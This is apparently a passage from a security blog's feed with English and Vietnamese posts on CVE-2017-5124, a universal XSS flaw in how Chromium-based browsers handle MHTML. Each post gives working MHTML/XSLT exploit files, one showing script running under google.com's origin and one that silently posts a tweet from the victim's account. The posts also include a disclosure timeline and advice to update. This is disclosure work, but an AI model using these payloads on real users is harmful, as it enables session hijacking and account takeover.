&lt;script&gt;alert('Location origin: '+location.origin)&lt;/script&gt;
------MultipartBoundary----
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The hacker can run alert () with the https://google.com domain and display a messagebox indicating the location corresponds to the script’s running script.</p>

<h2 id="some-scenarios-using-uxss-with-mhtml-cve-2017-5124">Some scenarios using UXSS with MHTML (CVE-2017-5124)</h2>
<p>We will approach some “real” scenarios:</p>
<ul>
  <li>Hack email: Bad guys can read emails, send mail with the user’s email address without their knowledge. Bank accounts are usually associated with an email address. If the email is compromised, the hacker will be able to read the account recovery codes or notifications from the bank, send fake emails or use this email to attack.</li>
  <li>Hackers can read and post posts under user accounts. I will use my Twitter account for testing.
 
The exploit code will tweet a message with the user’s Twitter account.</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
</pre></td><td class="rouge-code"><pre>MIME-Version: 1.0
Content-Type: multipart/related;
	type="text/html";
	boundary="----MultipartBoundary--"
Become IDOL

------MultipartBoundary--
Content-Type: application/xml;

&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;?xml-stylesheet type="text/xml" href="#stylesheet"?&gt;
&lt;!DOCTYPE catalog [
&lt;!ATTLIST xsl:stylesheet
id ID #REQUIRED&gt;
]&gt;
&lt;xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"&gt;
&lt;xsl:template match="*"&gt;
&lt;html&gt;&lt;iframe style="display:none" src="https://twitter.com" &gt;&lt;/iframe&gt;&lt;/html&gt;
&lt;/xsl:template&gt;
&lt;/xsl:stylesheet&gt;

------MultipartBoundary--
Content-Type: text/html
Content-Location: https://twitter.com

&lt;script&gt;

function tweet(text)
{
    var win = window.open("/", '_blank', 'toolbar=no,status=no,menubar=no,scrollbars=no,resizable=no,left=10000, top=10000, width=2, height=1, visible=none', '');
	win.onload = function(){
	        win.boxTextToTweet = win.document.getElementById("tweet-box-home-timeline");
			win.btnPostTweet = win.document.getElementsByClassName("tweet-action EdgeButton EdgeButton--primary js-tweet-btn")[0];
			win.boxTextToTweet.focus();
			win.boxTextToTweet.innerHTML = text;
			setTimeout(function(){ win.btnPostTweet.click(); }, 500);
			setTimeout(function(){ win.close(); }, 1500);
	}
}

tweet('I &lt;3 fosec. @quangnh89 is my idol.');

&lt;/script&gt;
------MultipartBoundary----
</pre></td></tr></tbody></table></code></pre></div></div>

<p>I have attacked CocCoc (66) and SamSung Internet browser.</p>

<p>Demo with CocCoc 66:</p>

<p><a href="https://www.youtube.com/watch?v=oBZe2-dtfGI"><img src="https://img.youtube.com/vi/oBZe2-dtfGI/0.jpg" alt="UXSS with MHTML (CVE-2017-5124) + CocCoc browser 66.4.134" /></a></p>

<h2 id="the-browsers-are-affected-by-cve-2017-5124">The browsers are affected by CVE-2017-5124</h2>
<p>All browsers that use the Chromium (Chrome &lt; 62) are affected. CocCoc version 66.4.134, a popular browser in Vietnam, which uses Chromium 60.4.3112.134 is vulnerable. Some browsers on SamSung phones made by the manufacturer itself can be exploited. Personally, for security purposes, we can temporarily stop using the browser until the problem is solved.</p>

<h2 id="timeline">Timeline</h2>
<p><em>Coc Coc Browser</em></p>
<ul>
  <li>05/12/2017: contacted CocCoc Company.</li>
  <li>06/12/2017: Coc Coc Company confirmed.
Currently, the latest version of CocCoc has been fixed.</li>
</ul>

<p><em>SamSung Internet Browser 6.2.01.12</em></p>
<ul>
  <li>03/12/2017: Send email to SamSung Company</li>
  <li>08/12/2017: SamSung thinks that this issue belongs to Google Chrome.</li>
</ul>

<p>According to my tests, the browser SamSung Internet Browser 6.2.01.12 suffered a serious vulnerability. If your phone is not up to date, wait for a patch. Demo with SamSung internet: https://www.youtube.com/watch?v=nLPuplN5HmM</p>

<p><a href="https://www.youtube.com/watch?v=nLPuplN5HmM"><img src="https://img.youtube.com/vi/nLPuplN5HmM/0.jpg" alt="UXSS with MHTML (CVE-2017-5124) + SamSung Internet Browser 6.2.01.12" /></a></p>]]></content><author><name>Quang Nguyen</name></author><category term="Tutorials" /><category term="uxss" /><category term="chromium" /><summary type="html"><![CDATA[n-day vulnerability in Chromium Based Browsers]]></summary></entry><entry><title type="html">Chromium Based Browsers are safe or not ?</title><link href="https://develbranch.com/tutorials/chromium-based-browsers-are-safe-or-not.html" rel="alternate" type="text/html" title="Chromium Based Browsers are safe or not ?" /><published>2017-12-16T17:00:00+00:00</published><updated>2017-12-16T17:00:00+00:00</updated><id>https://develbranch.com/tutorials/chromium-based-browsers-are-safe-or-not</id><content type="html" xml:base="https://develbranch.com/tutorials/chromium-based-browsers-are-safe-or-not.html"><![CDATA[<p>Gần đây, trình duyệt nguồn mở Chromium (phiên bản 62 trở xuống) có một lỗi cực kì nghiêm trọng <strong>UXSS with MHTML</strong>, được gắn mã CVE-2017-5124. Mã khai thác của lỗi này cũng đã được công bố: https://github.com/Bo0oM/CVE-2017-5124. Vậy lỗi này nghiêm trọng thế nào? Ảnh hưởng của lỗi này ra sao?</p>

<h2 id="universal-cross-site-scripting-uxss-là-gì">Universal Cross-site Scripting (UXSS) là gì?</h2>
<p>Lỗi <a href="https://www.acunetix.com/websitesecurity/cross-site-scripting/">cross-site scripting (XSS) attacks</a> thường xuất hiện trên các website hoặc các ứng dụng web. Đây là lỗ hổng cho phép hacker có thể chèn những đoạn mã client-script (thường là Javascript hoặc HTML) vào trang web, khi người dùng vào những trên web này, mã độc sẽ được thực thi trên máy của người dùng. UXSS giống với XSS  ở một số đặc điểm cơ bản: khai thác một lỗ hổng của ứng dụng web, thực thi mã độc, tuy nhiên vẫn có điểm khác nhau như sau: không giống như XSS là lỗ hổng nằm bên trong ứng dụng web, UXSS là loại lỗ hổng nằm bên trong trình duyệt, hoặc một phần mở rộng của trình duyệt. Loại lỗ hổng này tạo ra điều kiện giống như điều kiện xảy ra XSS, do đó có thể thực thi code độc hại. Khi lỗ hổng này bị khai thác, các tính năng bảo mật của trình duyệt sẽ bị vô hiệu hóa.</p>

<p>Hacker sử dụng UXSS để truy cập vào mọi phiên đang mở của trình duyệt: hacker có thể đọc được cookie hoặc session của các tab đang mở.</p>

<h2 id="uxss-with-mhtml-cve-2017-5124">UXSS with MHTML (CVE-2017-5124)</h2>
<p>Đây là một lỗi nằm trong nhân xử lý của Chromium khi xử lý định dạng <a href="https://en.wikipedia.org/wiki/MHTML">MHTML (MIME-HTML)</a> .</p>

<p>MHTML là tài liệu văn bản mà trong đó xác định rõ tiêu đề (title), content-type (<code class="language-plaintext highlighter-rouge">multipart / related</code>) và phần biên (ví dụ là <code class="language-plaintext highlighter-rouge">----MultipartBoundary--</code>), sau đó được chia thành từng phần trong một file. Ngoài ra, có thể bổ sung một số thông tin như cách encode(base64 chẳng hạn).</p>

<p>Trong mô tả của html, chúng ta có thể sử dụng Content-location để xác định nguồn của dữ liệu. Ví dụ, chúng ta viết Content-location: https://example.com/abc, dữ liệu sẽ được trình duyệt đọc từ địa chỉ https://example.com/abc và hiển thị.</p>

<p>Để an toàn cho người dùng, tất cả các dữ liệu liên quan tới javascript đều bị cấm và không thể tải được từ một địa chỉ khác, ngoài domain người dùng đang truy cập. Điều này được Chromium kiểm tra ở mọi chỗ, trừ <a href="https://en.wikipedia.org/wiki/XSLT">XSLT</a>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
</pre></td><td class="rouge-code"><pre>MIME-Version: 1.0
Content-Type: multipart/related;
	type="text/html";
	boundary="----MultipartBoundary--"
CVE-2017-5124

------MultipartBoundary--
Content-Type: application/xml;

&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;?xml-stylesheet type="text/xml" href="#stylesheet"?&gt;
&lt;!DOCTYPE catalog [
&lt;!ATTLIST xsl:stylesheet
id ID #REQUIRED&gt;
]&gt;
&lt;xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"&gt;
&lt;xsl:template match="*"&gt;
&lt;html&gt;&lt;iframe style="display:none" src="https://google.com"&gt;&lt;/iframe&gt;&lt;/html&gt;
&lt;/xsl:template&gt;
&lt;/xsl:stylesheet&gt;

------MultipartBoundary--
Content-Type: text/html
Content-Location: https://google.com

&lt;script&gt;alert('Location origin: '+location.origin)&lt;/script&gt;
------MultipartBoundary----
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Trong đoạn mã trên, hacker có thể chạy alert() với domain https://google.com và hiển thị một messagebox cho biết location tương ứng với ngữ cảnh script đang chạy.</p>

<h2 id="một-vài-kịch-bản-khai-thác-sử-dụng-uxss-with-mhtml-cve-2017-5124">Một vài kịch bản khai thác sử dụng UXSS with MHTML (CVE-2017-5124)</h2>
<p>Nếu đơn thuần chỉ hiển thị một messagebox thì có lẽ cũng không cần quan tâm. Chúng ta sẽ tiếp cận một vài kịch bản “thực tế” hơn:</p>
<ul>
  <li>Người dùng bị mất email: Người dùng hoàn toàn có thể bị kẻ xấu lợi dụng để đọc email, gửi thư bằng địa chỉ email của người dùng mà họ không hề hay biết. Hiện giờ, các tài khoản ngân hàng, tài khoản mạng xã hội thường gắn liền với một địa chỉ email. Nếu chiếm được email này, hacker hoàn toàn có thể đọc được các mã recover tài khoản hoặc các thông báo từ phía ngân hàng, gửi email giả mạo hoặc sử dụng email này làm bàn đạp để tấn công.</li>
  <li>Người dùng hoàn toàn có thể bị chiếm quyền điều khiển các tài khoản mạng xã hội: Hacker có thể đọc và đăng các bài post dưới tài khoản của người dùng. Tôi sẽ sử dụng tài khoản Twitter của tôi để thử nghiệm.</li>
  <li>Người dùng có thể mất tài khoản ngân hàng: nếu người dùng chỉ sử dụng trình duyệt và không có phương thức bảo vệ nào khác như OTP.</li>
</ul>

<p>Mã khai thác sẽ tweet một thông điệp bằng tài khoản Twitter của người dùng.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
</pre></td><td class="rouge-code"><pre>MIME-Version: 1.0
Content-Type: multipart/related;
	type="text/html";
	boundary="----MultipartBoundary--"
Become IDOL

------MultipartBoundary--
Content-Type: application/xml;

&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;?xml-stylesheet type="text/xml" href="#stylesheet"?&gt;
&lt;!DOCTYPE catalog [
&lt;!ATTLIST xsl:stylesheet
id ID #REQUIRED&gt;
]&gt;
&lt;xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"&gt;
&lt;xsl:template match="*"&gt;
&lt;html&gt;&lt;iframe style="display:none" src="https://twitter.com" &gt;&lt;/iframe&gt;&lt;/html&gt;
&lt;/xsl:template&gt;
&lt;/xsl:stylesheet&gt;

------MultipartBoundary--
Content-Type: text/html
Content-Location: https://twitter.com

&lt;script&gt;

function tweet(text)
{
    var win = window.open("/", '_blank', 'toolbar=no,status=no,menubar=no,scrollbars=no,resizable=no,left=10000, top=10000, width=2, height=1, visible=none', '');
	win.onload = function(){
	        win.boxTextToTweet = win.document.getElementById("tweet-box-home-timeline");
			win.btnPostTweet = win.document.getElementsByClassName("tweet-action EdgeButton EdgeButton--primary js-tweet-btn")[0];
			win.boxTextToTweet.focus();
			win.boxTextToTweet.innerHTML = text;
			setTimeout(function(){ win.btnPostTweet.click(); }, 500);
			setTimeout(function(){ win.close(); }, 1500);
	}
}

tweet('I &lt;3 fosec. @quangnh89 is my idol.');

&lt;/script&gt;
------MultipartBoundary----
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Tôi có thực hiện một vài kịch bản tấn công với 2 trình duyệt Cốc Cốc ( bản 66 ) và SamSung Internet.</p>

<p>Demo với Cốc Cốc 66:</p>

<p><a href="https://www.youtube.com/watch?v=oBZe2-dtfGI"><img src="https://img.youtube.com/vi/oBZe2-dtfGI/0.jpg" alt="UXSS with MHTML (CVE-2017-5124) + CocCoc browser 66.4.134" /></a></p>

<h2 id="những-trình-duyệt-bị-ảnh-hưởng-bởi-cve-2017-5124">Những trình duyệt bị ảnh hưởng bởi CVE-2017-5124</h2>
<p>Tôi khẳng định: Tất cả các trình duyệt sử dụng nhân của Chromium (phiên bản nhỏ hơn 62) đều bị ảnh hưởng. Điểm qua một số trình duyệt đang thịnh hành ở Việt Nam, chúng ta có thể kể đến Cốc Cốc (coccoc.vn), phiên bản 66.4.134 đang dùng nhân Chromium 60.4.3112.134). Ngoài ra một số trình duyệt trên các dòng điện thoại SamSung do hãng sản xuất tự thêm vào đều có thể mắc phải lỗi này. Cá nhân tôi cho rẳng, để an toàn, chúng ta có thể tạm thời ngưng sử dụng trình duyệt có lỗi cho đến khi chúng có bản vá đầy đủ.</p>

<h2 id="timeline-thông-báo-lỗi-tới-các-bên-liên-quan">Timeline thông báo lỗi tới các bên liên quan</h2>
<p><em>Trình duyệt Cốc Cốc</em></p>
<ul>
  <li>05/12/2017: Thông báo cho công ty Cốc Cốc.</li>
  <li>06/12/2017: Công ty Cốc Cốc khẳng định sẽ release bản sửa lỗi khi cập nhật tới phiên bản 68.</li>
  <li>17/12/2017: Kiểm tra trình duyệt Cốc Cốc 68 và lỗi đã fix xong.
Hiện tại, bản mới nhất của Cốc Cốc đã sửa lỗi này. Nếu bạn dùng Cốc Cốc, hãy tải bản mới nhất.</li>
</ul>

<p><em>Trình duyệt SamSung Internet Browser 6.2.01.12</em></p>
<ul>
  <li>03/12/2017: Thông báo cho Công ty SamSung</li>
  <li>04/12/2017: SamSung thông báo đã tiếp nhận vấn đề</li>
  <li>08/12/2017: SamSung cho rằng issue này thuộc về Google Chrome và đã fix và đóng issue.</li>
</ul>

<p>Theo thử nghiệm của tôi, trình duyệt SamSung Internet Browser 6.2.01.12 bị lỗ hổng nghiêm trọng này. Nếu máy điện thoại của bạn chưa cập nhật lên bản mới hơn, hãy tạm dừng sử dụng nó cho đến khi có bản mới. Demo với SamSung internet: https://www.youtube.com/watch?v=nLPuplN5HmM</p>]]></content><author><name>Quang Nguyen</name></author><category term="Tutorials" /><category term="uxss" /><category term="chromium" /><summary type="html"><![CDATA[Gần đây, trình duyệt nguồn mở Chromium (phiên bản 62 trở xuống) có một lỗi cực kì nghiêm trọng. Vậy lỗi này nghiêm trọng thế nào? Ảnh hưởng của lỗi này ra sao?]]></summary></entry></feed>